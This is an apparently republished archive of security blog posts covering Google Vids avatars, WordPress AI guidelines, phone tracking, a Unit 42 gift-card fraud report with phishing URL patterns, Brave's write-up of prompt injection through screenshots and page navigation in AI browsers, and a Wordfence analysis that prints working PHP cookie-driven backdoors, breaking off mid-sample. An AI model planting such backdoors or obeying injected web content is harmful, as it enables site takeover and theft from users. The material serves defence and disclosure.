Category Archives: Tip

Google Vids Personal Avatar – Maybe don’t.

Posted on

Those of us who use Gmail (or run their domain-branded email through Gmail) recently received a message from Google which starts:

“We’re preparing to release a new feature in Google Vids that will allow users to create a personal avatar using their own face and voice, safely and securely.”

They’ll be rolling it out in mid-July, as ON by default.

From a security perspective, we see a potential problem with this idea. Sure, it would be nice to be able to personalize your avatar, but considering that there’s already a problem with hackers doing deep fakes using just an image or short video or a recording of your voice, this is definitely NOT something we would recommend!

If you’re the admin of your Gmail domain you can protect your users by following these steps:

To disable access: If you want to disable personal avatars in Google Vids, you can disable the feature for the whole organization, or for specific users or groups. Complete the following steps:

  1. Go to the Google Admin console
  2. Navigate to Apps > Google Workspace > Drive and Docs > Google Vids > Personal avatars
  3. Uncheck the setting
  4. Click Save

If we (Cosmic Web Services) are admins for your Gmail-hosted email and you’d like to turn this off for your users, please let us know using our contact form or email us.

In that same vein I recently re-recorded my outgoing phone message using a free AI generated voice. And when someone calls from an unknown number (and I actually answer it instead of sending it to voicemail), I’m very cautious about what I say.

WordPress Publishes AI Guidelines To Combat AI Slop

Posted on
  • Quality standards do not change with AI
  • Encourages responsible use of AI
  • Low-effort or unverified AI output is explicitly discouraged

WordPress published new AI guidelines to encourage responsible use of AI and ensure that GPL licensing obligations are met.

WordPress published guidelines for using AI for coding plugins, themes, documentation, and media assets. The purpose of the guidelines, guided by five principles, is to keep WordPress contributions transparent, GPL-compatible, and human-accountable, while maintaining high quality standards for AI-assisted work.

The new guidelines lists the following five principles:

  1. “You are responsible for your contributions (AI can assist, but it isn’t a contributor).
  2. Disclose meaningful AI assistance in your PR description and/or Trac ticket comment.
  3. License compatibility matters: contributions must remain compatible with GPLv2-or-later, including AI-assisted output.
  4. Non-code assets count too (docs, screenshots, images, educational materials).
  5. Quality over volume: avoid low-signal, unverified “AI slop”; reviewers may close or reject work that doesn’t meet the bar.”

Transparency

The purpose of the transparency guidelines is to encourage contributors to disclose that AI was used and how it was used so that reviewers can be aware when evaluating the work.

License Compatibility And Tool Choice

Licensing is a big deal with WordPress because it’s designed to be a fully open source publishing platform under the GPLv2 licensing framework. Everything that’s made for WordPress, including plugins and themes, must also be open source. It’s an essential element of everything created with WordPress.

The guidelines specify that AI cannot be used if the output is not licensable under GPLv2.

It also states:

“Do not use tools whose terms forbid using their output in GPL-licensed projects or impose additional restrictions on redistribution.

Do not rely on tools to “launder” incompatible licenses. If an AI output reproduces non-free or incompatible code, it cannot be included.”

AI Slop

Of course, the guidelines address the issue of AI slop. In this case, AI slop is defined as hallucinated references (such as links or APIs that do not exist), overly complicated code where simpler solutions exist, and GitHub PRs that are generic or do not reflect actual testing or experience.

The AI Slop guidelines has recommendations of what they expect from contributors:

“Use AI to draft, then review yourself.

Submit PRs (or patches) that are small, concise and with atomic and well defined commit messages to make reviewing easier.

Run and document real tests.

Link to real Trac tickets, GitHub issues, or documentation that you have verified.”

The guidelines are clear that the WordPress contributors who are responsible for overseeing, reviewing, and deciding whether changes are accepted into a specific part of the project may close or reject contributions that they determine to be AI slop “with little added human insight.”

Takeaways

The new WordPress AI guidelines appear to be about preserving trust in the contribution process as AI becomes more common across development, documentation, and media creation. It in no way discourages the use of AI but rather encourages its use in a responsible manner.

Requiring disclosure, enforcing GPL compatibility, and giving maintainers the authority to reject low-quality submissions, the guidelines set boundaries that protect both the legal integrity of the WordPress project and the time of its reviewers.

Source: https://www.searchenginejournal.com/wordpress-ai-guidelines/566442/

Location tracking of phones is out of control. Here’s how to fight back.

Posted on

Unique IDs assigned to Android and iOS devices threaten your privacy. Who knew?

You likely have never heard of Babel Street or Location X, but chances are good that they know a lot about you and anyone else you know who keeps a phone nearby around the clock.

Reston, Virginia-located Babel Street is the little-known firm behind Location X, a service with the capability to track the locations of hundreds of millions of phone users over sustained periods of time. Ostensibly, Babel Street limits the use of the service to personnel and contractors of US government law enforcement agencies, including state entities. Despite the restriction, an individual working on behalf of a company that helps people remove their personal information from consumer data broker databases recently was able to obtain a two-week free trial by (truthfully) telling Babel Street he was considering performing contracting work for a government agency in the future.

Tracking locations at scale

KrebsOnSecurity, one of five news outlets that obtained access to the data produced during the trial, said that one capability of Location X is the ability to draw a line between two states or other locations—or a shape around a building, street block, or entire city—and see a historical record of Internet-connected devices that traversed those boundaries.

Reporter Brian Krebs said that the data included nearly 100,000 hits for the phone of a New Jersey police officer who recently became the victim of an intense doxxing campaign that subjected her and her family to dozens of death threats from people who knew her home address and the phone numbers of both her and her husband. The campaign included masked people in cars driving outside the family’s home.

The data seen by the person using the two-week trial provided a detailed and intimate picture of the officer over several months. There’s no indication that the people stalking and harassing the family used Location X, but there’s little doubt the service could have allowed them to determine the officer’s phone number and residence location.

404 Media, another outlet given access to the data, reported that the trove allowed a reporter to zoom in on the parking lot of an abortion clinic in Florida and observe more than 700 red dots, each representing a phone that had recently visited the clinic. Location X then allowed the reporter to trace the movements of one specific device.

That device—and by extension, the person carrying it—began the journey in mid-June from a residence in Alabama. The person passed by a Lowe’s Home Improvement store, drove on a highway, visited a church, crossed into Florida, and finally stopped at the clinic where the phone indicates the person stayed for two hours before leaving and returning to Alabama. The data tracked the phone as having visited the clinic only once.

The technology making this vast data collection possible is, of course, tracking mechanisms built into Android and iOS and the apps that run on those operating systems. By default, Android assigns a unique ad ID to each device and makes it available to any app that has location permissions. iOS, by contrast, keeps its “Identifier for Advertisers” tracker private, but gives each installed app the opportunity to request access to it.

Some apps are given permission to access a phone’s location and then sell the device’s location to consumer data brokers. The data can also be made available through the web ad ecosystem. While an ad-supported page loads, the advertising network holds an auction in real time to sell a personalized ad to the highest bidder. A key piece of information bidders use to set a price is—you guessed it—the location of the device running the browser. Advertisers generate additional revenue by selling that history to the likes of Location X provider Babel Street.

Fighting back

There are multiple settings that phone users must choose to close off the constant leaking of their locations. For users of either Android or iOS, the first step is to audit which apps currently have permission to access the device location. This can be done on Android by accessing Settings > Location > App location permissions and, on iOS, Settings > Privacy & Security > Location Services.

Both operating systems will display a list of apps and whether they are permitted access always, never, only while the app is in use, or to prompt for permission each time. Both also allow users to choose whether the app sees precise locations down to a few feet or only a coarse-grained location.

For most users, there’s usefulness in allowing an app for photos, transit, or maps to access a user’s precise location. For other classes of apps—say those for Internet jukeboxes at bars and restaurants—it can be helpful for them to have an approximate location, but giving them precise, fine-grained access is likely overkill. And for other apps, there’s no reason for them ever to know the device’s location. With a few exceptions, there’s little reason for apps to always have location access.

Not surprisingly, Android users who want to block intrusive location gathering have more settings to change than iOS users. The first thing to do is access Settings > Security & Privacy > Ads and choose “Delete advertising ID.” Then, promptly ignore the long, scary warning Google provides and hit the button confirming the decision at the bottom. If you don’t see that setting, good for you. It means you already deleted it. Google provides documentation here.

iOS, by default, doesn’t give apps access to “Identifier for Advertisers,” Apple’s version of the unique tracking number assigned to iPhones, iPads, and AppleTVs. Apps, however, can display a window asking that the setting be turned on, so it’s useful to check. iPhone users can do this by accessing Settings > Privacy & Security > Tracking. Any apps with permission to access the unique ID will appear. While there, users should also turn off the “Allow Apps to Request to Track” button. While in iOS Privacy & Security, users should navigate to Apple Advertising and ensure Personalized Ads is turned off.

Additional coverage of Location X from Haaretz and NOTUS is here and here. The New York Times, the other publication given access to the data, hadn’t posted an article at the time this Ars post went live.

Source: https://arstechnica.com/information-technology/2024/10/phone-tracking-tool-lets-government-agencies-follow-your-every-move/

Jingle Thief: Inside a Cloud-Based Gift Card Fraud Campaign

Posted on

[Ed. Note: This post is included due to being Cybersecurity Awareness Month, despite not being directly related to WordPress]

Executive Summary

Unit 42 (https://unit42.paloaltonetworks.com/) investigated a campaign waged by financially motivated threat actors operating out of Morocco. They refer to this campaign as Jingle Thief, due to the attackers’ modus operandi of conducting gift card fraud during festive seasons. Jingle Thief attackers use phishing and smishing to steal credentials, to compromise organizations that issue gift cards. Their operations primarily target global enterprises in the retail and consumer services sectors. Once they gain access to an organization, they pursue the type and level of access needed to issue unauthorized gift cards.

The activity related to this campaign is tracked by Unit 42 as cluster CL‑CRI‑1032. The threat actors behind the activity target organizations that primarily rely on cloud-based services and infrastructure. They then exploit Microsoft 365 capabilities to conduct reconnaissance, maintain long-term persistence and execute large-scale gift card fraud. We assess with moderate confidence that the activity cluster we track as CL-CRI-1032 overlaps with the activity of threat actors publicly tracked as Atlas Lion and STORM-0539 [PDF].

What makes the threat actor behind this activity particularly dangerous is the ability to maintain a foothold inside organizations for extended periods — sometimes over a year. During this time, they gain deep familiarity with the environment, including how to access critical infrastructure — making detection and remediation especially challenging. In April and May 2025, the threat actor behind the Jingle Thief campaign launched a wave of coordinated attacks across multiple global enterprises.

This article presents an end-to-end analysis of the Jingle Thief campaign lifecycle, based on real-world incident telemetry and detections. We provide a clear view of the methods involved in this activity, and practical guidance for mitigating identity-based threats — attacks that target user accounts and credentials — in cloud environments. As identity increasingly replaces the traditional perimeter, understanding campaigns like Jingle Thief is essential to securing modern enterprise infrastructure.

This activity was identified through behavioral anomalies detected by Cortex User Entity Behavior Analytics (UEBA) and Identity Threat Detection and Response (ITDR). Customers are better protected from this activity with the new Cortex Advanced Email Security module.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Who Is Behind the Jingle Thief Campaign?

We assess with moderate confidence that the Jingle Thief campaign was created by financially motivated Morocco-based attackers who have been active since 2021. Their operations primarily target global enterprises in the retail and consumer services sectors. Although not affiliated with a nation-state, the activity we track as CL‑CRI‑1032 includes advanced tactics, persistence and operational focus.

Unlike threat actors who rely on commodity malware or endpoint exploitation, the attackers behind CL‑CRI‑1032 operate almost exclusively in cloud environments once they obtain credentials through phishing. They exploit cloud-based infrastructure to impersonate legitimate users, gain unauthorized access to sensitive data and carry out gift card fraud at scale.

Anatomy of the Jingle Thief Campaign

In a campaign that we observed, threat actors maintained access for approximately 10 months and compromised over 60 user accounts within a single global enterprise. The activity involved the use of Microsoft 365 services, including SharePoint, OneDrive, Exchange and Entra ID. This demonstrated a high degree of adaptability and operational patience. Detecting this approach requires close observation of adversaries’ actions over an extended period. The threat actors behind the Jingle Thief campaign often align their activity with holiday periods, increasing operations during times of reduced staffing and heightened gift card spending.

Having gained initial access, the threat actors conducted reconnaissance to map the environment, moved laterally to access more sensitive areas, and identified opportunities to execute large-scale financial fraud. Figure 1 illustrates the end-to-end attack lifecycle across Microsoft 365, highlighting how the threat actors progressed from phishing-based entry to persistent access through device registration.

The final attack step of device registration creates a foothold that the threat actors exploit to issue gift cards, which they then leverage for monetary gain.

Why Gift Cards? The Prey of Choice

Gift cards are highly attractive to financially motivated actors due to their ease of redemption and rapid monetization. Threat actors resell gift cards on gray-market forums at discounted rates, enabling near-instant cash flow.

Additional factors that make gift cards attractive include:

  • Minimal personal information required for redemption
  • Difficult to trace, making fraud harder to investigate or recover
  • Accepted widely, often indistinguishable from legitimate use
  • Useful for low-risk money laundering, especially across jurisdictions
  • Frequently issued through systems with weak access controls, broad internal permissions, and limited monitoring or logging

Retail environments are particularly vulnerable to this type of attack, as gift card systems are often accessible to a wide range of internal users, such as store employees. These systems may support multiple vendors or programs, making access pathways broader and more difficult to control.

Gift card fraud combines stealth, speed and scalability, especially when paired with access to cloud environments where issuance workflows reside. To exploit these systems, the threat actors need access to internal documentation and communications. They can secure this by stealing credentials and maintaining a quiet, persistent presence within Microsoft 365 environments of targeted organizations that provide gift card services.

In the campaign we observed, the attackers made repeated access attempts against multiple gift‑card issuance applications. They tried to issue high‑value cards across different programs in order to monetize them, and possibly to use the cards as collateral in money-laundering schemes — effectively turning digital theft into untraceable cash or short-term loans. These operations were staged in a way that minimizes logging and forensic traces, reducing the chance of rapid detection.

Highly Targeted and Tailored Attacks

The threat actors behind the Jingle Thief campaign invest heavily in reconnaissance before launching attacks. They gather intelligence on each target, including branding, login portals, email templates and domain naming conventions. This allows them to craft highly convincing phishing content that appears authentic to both users and security tools.

Phishing URLs often include the organization’s name, a trusted third-party tool or software, and landing pages that closely mimic legitimate login screens. This highly customized social engineering approach increases the likelihood of compromise and highlights the actors’ use of sophisticated techniques.

Figure 2 shows a credential phishing page crafted by the threat actors to impersonate a legitimate Microsoft 365 login portal, tailored to the victim organization’s branding.

Initial Access: Phishing and Smishing for Cloud Credentials

The threat actors behind the Jingle Thief campaign typically begin their operations with tailored phishing or SMS-based smishing attacks. These messages lure victims to counterfeit Microsoft 365 login portals that mimic legitimate sign-in pages. Some lures impersonate nonprofits or non-governmental organizations (NGOs), likely to give the appearance of credibility and increase victim engagement.

Notably, many messages are delivered using self-hosted PHP mailer scripts, often sent from compromised or hijacked WordPress servers, which obscure the attackers’ origin and improve delivery.

The threat actors also employ deceptive URL formatting, such as: https://organization[.]com@malicious.cl[/]workspace

While the URL above appears to point to the legitimate organization’s domain (organization[.]com), browsers interpret everything before the @ as user credentials, and actually navigate to the domain after it (malicious.cl). This tactic helps disguise the true destination of the link and increases the likelihood of victims clicking.

After harvesting credentials in the campaign that we observed, the attackers authenticated to Microsoft 365 directly and began navigating the environment, with no malware required. Figure 3 shows a smishing attempt used to harvest credentials, captured from a malicious PHP email send log from the attackers’ infrastructure. The message originated from a Moroccan IP address, and was sent to a Verizon SMS gateway (vtext.com).

Cloud Reconnaissance: Mining SharePoint and OneDrive for Gift Card Intel

After initial access, the attackers behind Jingle Thief perform extensive reconnaissance within the Microsoft 365 environment, particularly focusing on SharePoint and OneDrive. These services frequently contain internal documentation related to business operations, financial processes and IT workflows.

The threat actors search for:

  • Gift card issuance workflows
  • Ticketing system exports or instructions
  • VPN configuration and access guides
  • Spreadsheets or internal tools used to issue or track gift cards
  • Organizational virtual machines, Citrix environments

Rather than escalating privileges, the threat actors build situational awareness by accessing readily available data on compromised users. This discreet approach helps evade detection while laying the groundwork for future fraud.

Internal Phishing for Lateral Moves

Instead of deploying malware or post-exploitation frameworks, Jingle Thief relies on internal phishing to expand their foothold within target environments. In an attempted attack against one of our customers, after compromising a user’s Microsoft 365 account, the attackers sent phishing emails from the legitimate account to personnel inside the same organization. These messages mimicked IT service notifications or ticketing updates, often leveraging information gathered from internal documentation or previous communications to appear legitimate.

Common lures:

  • Fake ServiceNow alerts: “INCIDENT REQ07672026 Has been completed”
  • IT access notifications: “ServiceNow Account Inactivity Notice”
  • Generic approval prompts: “Incident pending your review”

These emails link to fake login portals branded with the organization’s identity, leveraging internal trust to evade suspicion and spread laterally.

Figure 5 shows an internal phishing email sent from a compromised account, spoofing a ServiceNow inactivity notice to trick users into entering credentials.

Ruling the Inbox for Silent Email Exfiltration

To passively monitor internal communications, the attackers responsible for the Jingle Thief campaign often create inbox rules to automatically forward emails to attacker-controlled addresses.

They monitor:

  • Gift card approvals
  • Financial workflows
  • IT ticketing or account changes

This approach reduces the need for active attacker interaction and helps maintain stealth. Figure 6 shows an alert flagging the creation of a malicious inbox forwarding rule, which is one of the stealth tactics employed by these threat actors to monitor internal communications.

Stealthy Email Activity: Hiding in Plain Sight

To cover their tracks, the attackers actively manage mailbox folders:

  • Moving sent phishing emails immediately from Sent Items to Deleted Items
  • Moving replies from users from Inbox to Deleted Items

This ensures that victims won’t see the phishing messages or responses, delaying discovery by both victims and defenders.

The Exchange audit logs in Figure 7 show the attackers moving phishing email replies from the Inbox folder to the Deleted Items folder.

Dominating Rogue Devices for Persistence

Most of the intrusions we observed in the Jingle Thief campaign relied on stolen credentials or session tokens for temporary access. However, the actors also demonstrated techniques for establishing longer-term persistence within compromised environments.

In some intrusions, the threat actors took control of identity infrastructure by misusing legitimate user self-service and device enrollment mechanisms in Microsoft Entra ID. These tactics allowed them to maintain access even after passwords were reset or sessions were revoked.

Tactics include:

  • Registering rogue authenticator apps to bypass MFA
  • Resetting passwords via self-service flows
  • Enrolling attacker-controlled devices in Entra ID

The ultimate goal of these varied tactics – phishing, inbox control, mail exfiltration and rogue device registration – is to obtain and monetize gift cards at scale.

Tracing Jingle Thief’s Moroccan Roots

The campaign activities that we observed almost exclusively originated from IP addresses geolocated in Morocco. Across incidents, Microsoft 365 logs showed recurring device fingerprints and login behaviors associated with these IP addresses. Unlike many actors who hide behind VPNs, these threat actors often made no attempt to obscure their origin, and only sometimes used Mysterium VPN when accessing compromised accounts.

Autonomous System Number (ASN) metadata from the connections also consistently matched Moroccan telecommunications providers, including:

  • MT-MPLS
  • ASMedi
  • MAROCCONNECT

In addition to IP and ASN infrastructure, Jingle Thief reuses distinctive domain and URL structures across campaigns. These recurring patterns in domain naming and infrastructure further support attribution to a Morocco-based threat group.

Conclusion

The Jingle Thief campaign demonstrates a clear focus on major retailers’ gift-card issuance systems. The attackers targeted multiple issuance applications to generate high‑value cards, likely for resale on gray markets, or as fungible assets in money‑laundering chains. Gift-card systems are often under‑monitored and widely accessible internally, making them an attractive extension to identity‑based attacks: By compromising the right accounts, threat actors can issue and steal gift cards, while leaving almost no trace of their malicious operations.

The cluster of activity behind the Jingle Thief campaign overlaps with the activity of threat actors publicly tracked as Atlas Lion. This cluster — tracked by Unit 42 as CL-CRI-1032 — favors identity misuse over malware, and leverages trusted cloud services rather than endpoint compromise. Their campaigns highlight how attackers can operate entirely within cloud environments, abusing legitimate features for phishing, persistence and fraud.

By understanding the tactics used in the Jingle Thief campaign, defenders can better prioritize identity-based monitoring and adapt to the industry’s shift toward treating identity as the new security perimeter. Understanding user behavior, login patterns and identity misuse are increasingly essential for early detection and response.

Palo Alto Networks customers are better protected from this activity with the new Cortex Advanced Email Security module, as well as Cortex UEBA and ITDR.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Moroccan Infrastructure (Attribution Signal)

  • 105.156.109[.]227
  • 105.156.234[.]139​​
  • 105.157.86[.]136
  • 105.158.226[.]49
  • 105.158.237[.]165
  • 160.176.128[.]242
  • 160.178.201[.]89
  • 160.179.102[.]157
  • 196.64.165[.]160
  • 196.65.139[.]51
  • 196.65.146[.]114
  • 196.65.172[.]48
  • 196.65.237[.]97
  • 196.74.125[.]243
  • 196.74.183[.]81
  • 196.77.47[.]232
  • 196.89.141[.]80
  • 41.141.201[.]19
  • 41.250.180[.]114
  • 41.250.190[.]104

Associated ASN Organizations (Geolocated to Morocco)

  • MT-MPLS
  • ASMedi
  • MAROCCONNECT

U.S. Infrastructure (Potential Proxy or Compromised Hosts)

  • 70.187.192[.]236
  • 72.49.91[.]23

Phishing URL Patterns

  • hxxps://*.com.ng/*[brand-name].com/home/
  • hxxps://*.[brand-name].servicenow.*/*access
  • hxxps://[brand-name].com@*.*/portal/
  • hxxps://[brand-name].com@*.*/workspace
  • hxxps://*/home
  • hxxps://*/workspace/home

Additional Resources

Source: https://unit42.paloaltonetworks.com/cloud-based-gift-card-fraud-campaign/

Unseeable prompt injections in screenshots: more vulnerabilities in Comet and other AI browsers

Posted on

This is the second post in a series about security and privacy challenges in agentic browsers. This vulnerability research was conducted by Artem Chaikin (Senior Mobile Security Engineer), and was written by Artem and Shivan Kaul Sahib (VP, Privacy and Security).

Building on our previous disclosure of the Perplexity Comet vulnerability, we’ve continued our security research across the agentic browser landscape. What we’ve found confirms our initial concerns: indirect prompt injection is not an isolated issue, but a systemic challenge facing the entire category of AI-powered browsers. This post examines additional attack vectors we’ve identified and tested across different implementations.

On request, we are withholding one additional vulnerability found in another browser for now. We plan on providing more details next week.

As we’ve written before, AI-powered browsers that can take actions on your behalf are powerful yet extremely risky. If you’re signed into sensitive accounts like your bank or your email provider in your browser, simply summarizing a Reddit post could result in an attacker being able to steal money or your private data.

As always, we responsibly reported these issues to the various companies listed below so the vulnerabilities could be addressed. As we’ve previously said, a safer Web is good for everyone. The thoughtful commentary and debate about secure agentic AI that was raised by our previous blog post in this series motivated our decision to continue researching and publicizing our findings.

Prompt injection via screenshots in Perplexity Comet

Perplexity’s Comet assistant lets users take screenshots on websites and ask questions about those images. These screenshots can be used as yet another way to inject prompts that bypass traditional text-based input sanitization. Malicious instructions embedded as nearly-invisible text within the image are processed as commands rather than (untrusted) content.

How the attack works:

  • Setup: An attacker embeds malicious instructions in Web content that are hard to see for humans. In our attack, we were able to hide prompt injection instructions in images using a faint light blue text on a yellow background. This means that the malicious instructions are effectively hidden from the user.
  • Trigger: User-initiated screenshot capture of a page containing camouflaged malicious text.
  • Injection: Text recognition extracts text that’s imperceptible to human users (possibly via OCR though we can’t tell for sure since the Comet browser is not open-source). This extracted text is then passed to the LLM without distinguishing it from the user’s query.
  • Exploit: The injected commands instruct the AI to use its browser tools maliciously.

Attack demonstration:

Prompt injection via website navigation in Fellou browser

While Fellou browser demonstrated some resistance to hidden instruction attacks, it still treats visible webpage content as trusted input to its LLM. Surprisingly, we found that simply asking the browser to go to a website causes the browser to send the website’s content to their LLM.

How the attack works:

  • Setup: An attacker embeds malicious visible instructions on their website.
  • Trigger: User simply asks the AI assistant to navigate to the attacker’s webpage (explicit user-triggered summarization not required).
  • Injection: The browser passes both the user’s query and the visible page content to the LLM in a way that allows the webpage text to override or modify the user’s intent.
  • Exploit: The injected commands instruct the AI to use its browser tools maliciously.

Attack demonstration:

Disclosure timeline

Perplexity:

  • October 1, 2025: Prompt injection via screenshots issue discovered and reported to Perplexity.
  • October 2, 2025: Public disclosure notice sent to Perplexity.
  • October 21, 2025: Public disclosure of vulnerability details.

Fellou:

  • August 20, 2025: Prompt injection via website navigation issue discovered and reported to Fellou.
  • October 21, 2025: Public disclosure of vulnerability details.

Impact and implications

As noted in our previous blog post, long-standing Web security assumptions break when AI agents act on behalf of users. Agentic browser assistants can be prompt-injected by untrusted webpage content, rendering protections such as the same-origin policy irrelevant because the assistant executes with the user’s authenticated privileges. This lets simple natural-language instructions on websites (or even just a Reddit comment) trigger cross-domain actions that reach banks, healthcare provider sites, corporate systems, email hosts, and cloud storage.

A consistent theme in agentic browsing vulnerabilities

Readers will note that each of these attacks look similar. Fundamentally, they boil down to a failure to maintain clear boundaries between trusted user input and untrusted Web content when constructing LLM prompts while allowing the browser to take powerful actions on behalf of the user.

We recognize that this is a hard problem, and we have some longer-term ideas that we’re exploring in collaboration with our research and security teams to address such problems. But until we have categorical safety improvements (i.e., across the browser landscape), agentic browsing will be inherently dangerous and should be treated as such. In the meantime, browsers should isolate agentic browsing from regular browsing and initiate agentic browsing actions (opening websites, reading emails, etc.) only when the user explicitly invokes them.

In the next blog post in this series, we will talk through Brave’s plans for more securely bringing agentic browsing to our 100 million+ users.

Source: https://brave.com/blog/unseeable-prompt-injections/

Malware Using Variable Functions and Cookies For Obfuscation

Posted on

One recurring theme the Wordfence Threat Intelligence as well as the Care and Response teams see in new malware is heavy use of obfuscation. While some malware stands out by making an effort to blend in, obfuscation is generally the go-to way in which attackers attempt to evade detection and hide their scripts.

In this case, we are referring to malware using variable functions and cookies for obfuscation. The particular malware we want to discuss today is not new. It does, however, surface in new variants frequently and warrants a more detailed discussion due to the widespread use of its obfuscation techniques.

Samples related to this malware are all detected by our malware signatures for all Wordfence users, including those running the free version of Wordfence.

What Are Variable Functions?

As specified in the PHP Language Reference documents, PHP allows developers to append parentheses to any PHP variable. This causes PHP to evaluate the variable and to call a function with the same name as whatever the variable evaluates to. While there are completely legitimate use cases for this, malicious actors also use that ability to their advantage. The following example shows a minimal backdoor using variable functions:

<?php $hello= 'eval';
$world= 'base64_decode';
$hello($world($_POST['payload']));

The variable $hello evaluates to the string ‘eval’ and $world evaluates to ‘base64_decode’. Appending parentheses to the variable makes PHP execute the functions eval() and base64_decode() with a payload provided via a POST parameter.

This minimal remote code execution script depends on user input. While we technically cannot say with certainty what exactly this script does because of this reliance on user input, it is pretty easy to see that it can be used for malicious purposes. Detecting this behavior is relatively straightforward, but it can get more complicated quickly. And already, the straightforward detection of an eval() followed by a base64_decode() call followed by a payload in a superglobal may fail on a file in which the order of the variable assignments is switched.

What Are Cookies?

Endless popups informing us about cookie choices are pretty common these days. Usually, we are given the choice between mandatory cookies (that ensure the site actually works), and optional cookies. Ultimately, these are small text files that store information about your shopping session or your browsing history (tracking cookies), enhance your user experience or fulfil some other important function (session cookies).

These cookies are sent by the browser to the website you are visiting so that this information can be handed back to the server.

The First Malware Sample Analysis

This malware sample is not one that attempts to blend in and hide itself by looking legitimate. Instead, it attempts to evade detection by combining several techniques in order to fool scanning tools.

<?php $args= 22; $locale= $_COOKIE;
$image_url= sizeof($locale);
if($image_url== 11) {
if(in_array(gettype($locale).count($locale),$locale)) {
$locale[79] = $locale[79].$locale[94];
$locale[23] = $locale[79]($locale[23]);
$locale= $locale[23]($locale[64],$locale[79]($locale[18]));
$type= 78;
$locale($args,$image_url,$type); } }

When malware attack victims send samples like this one to us via samples@wordfence.com and ask what they do, the answer isn’t always 100% clear at first glance. Let’s take a look at this case.

Malware Breakdown

For this walkthrough we will assume the following cookies:

$_COOKIE[79] = "base64_"
$_COOKIE[94] = "decode"
$_COOKIE[23] = "Y3JlYXRlX2Z1bmN0aW9u" // base64 for “create_function”
$_COOKIE[18] = "ZWNobyAiUHduZWQiOw==" // base64 for echo “Pwned”;
$_COOKIE[64] = '$a,$b,$c' // arg list for created function
$_COOKIE[1] = "array11"
5 additional cookies to bring the count to 11.

The script begins with the assignment of a value to an $args variable, stores the $_COOKIE array under a new name and determines how many cookies were passed.

$args = 22;
$locale = $_COOKIE;
$image_url = sizeof($locale);

What follows is a check that ensures that 11 cookies were passed and that one of them contains the literal string “array11”

if($image_url == 11) { if (in_array(gettype($locale).count($locale),$locale)) {

The statement $locale[79] = $locale[79] . $locale[94]; concatenates two cookie values into one string. This is used to create an actual function name. In our example, the cookie $locale[79] contains the string “base64_” and $locale[94] contains decode , which would be concatenated and stored in $locale[79] as base64_decode.

Our variables and cookies at this point have the following values:

$args = 22
$image_url = 11
$locale[79] = "base64_decode"
$locale[94] = "decode"
$locale[23] = "Y3JlYXRlX2Z1bmN0aW9u" // base64 for “create_function”
$locale[18] = "ZWNobyAiUHduZWQiOw==" // base64 for echo “Pwned”;
$locale[64] = "$a,$b,$c"

The function $locale[79] is then executed with the argument $locale[23] in the next statement. The result is stored in $locale[23]. Assuming that $locale[23] contains the string “Y3JlYXRlX2Z1bmN0aW9u”, the assignment becomes $locale[23] = base64_decode("Y3JlYXRlX2Z1bmN0aW9u"); which resolves to create_function – another function name.

$locale[23] = $locale[79]($locale[23]);

Variable and cookie state:

$args = 22
$image_url = 11
$locale[79] = "base64_decode"
$locale[94] = "decode"
$locale[23] = "create_function" // updated / decoded
$locale[18] = "ZWNobyAiUHduZWQiOw==" // base64 for echo “Pwned”;
$locale[64] = "$a,$b,$c"

The function create_function is now executed with two arguments. The first is a comma-separated parameter list and the second is the function body.

$locale = $locale[23]($locale[64],$locale[79]($locale[18]));

This is equivalent to create_function('$a,$b,$c', 'echo "Pwned";') – in this simple example the parameters that are passed are not actually used in the function that is created by this call. Instead, the function we create with this code just outputs a string.

$type = 78;

Variable and cookie state:

$args = 22
$image_url = 11
$locale = "<callable_name_string>" // callable function
$type = 78

Individual cookies are no longer available because $locale was overwritten.

The following statement invokes the callable function created earlier. Three numeric values are passed to it.

$locale($args,$image_url,$type);

It should be noted that this example using create_function() will not work on PHP 8.0 and newer since the function was removed from the language. It was also deprecated in PHP 7.2 but still works – albeit with warnings.

This does not mean the backdoor is unusable in PHP 8, however. It is very much possible for another PHP script to include this one and define functions that would then be executable by this piece of malware.

Another Malware Sample Analysis

$c=$_COOKIE;$a=isset($c['a'])&&$c['a']%283==0&&isset($c['c'])&&isset($c['f']);
if($a){$k=str_replace(['x','f','9'],['e','d','_'],$c['f']);$d=unserialize($k($c['c']));$f=$d[0]();$d[1](function($f)use($d){$d[3]($f);exit;},$f);$d[2]($f,$k($d[10]));
$p=$d[4]($f)['uri'];include_once($p);exit;}

Malware Breakdown

Similar to the previous sample, we see the assignment of $_COOKIE to another variable. As a quick check to avoid execution by unauthorized actors, this script ensures that several cookies are set and one of them is divisible by 283. These three magic cookies are required.

$c=$_COOKIE;$a=isset($c['a'])&&$c['a']%283==0&&isset($c['c'])&&isset($c['f']);

What follows is string manipulation in order to reconstruct a function name. Specifically, the characters ‘x’, ‘f’, ‘9’ are replaced in the cookie f with the characters ‘e’, ‘d’, and ‘_’, respectively. If the cookie f contained the string basx649fxcofx, the code below would transform that to base64_decode.

if($a){$k=str_replace(['x','f','9'],['e','d','_'],$c['f']);

The payload is contained in $c['c'], decoded and unserialized using this command.

$d=unserialize($k($c['c']));

As a result, $d now contains an array of function names and function arguments of the attacker’s choosing. This allows for the execution of arbitrary code. Towards the end of the script we see an include statement that includes a local file of the attacker’s choice. Since the code executed through this script is capable of creating files, it is likely that one of them is included in this script. In fact, it is possible that our first malware sample is included.

A Final Malware Sample Analysis

<?php $p=$_COOKIE;
(count($p)==22&&in_array(gettype($p).count($p),$p))?(($p[40]=$p[40].$p[12])&&($p[34]=$p[40]($p[34]))&&($p=$p[34]($p[37],$p[40]($p[92])))&&$p()):$p;

The $_COOKIE superglobal is saved to a variable just like in the other examples. We again see a cookie count check as well as another check to ensure that a specifically named cookie is sent along with the request. What follows is the repeated use of array lookups and execution of variable functions.

Malware Breakdown

The sample above uses a ternary if-statement to evaluate whether exactly 22 cookies are provided and whether one exists that contains the string “array22”. If that is the case, the script will construct a function name:

$p=$_COOKIE;(count($p)==22&&in_array(gettype($p).count($p),$p))?(($p[40]=$p[40].$p[12])

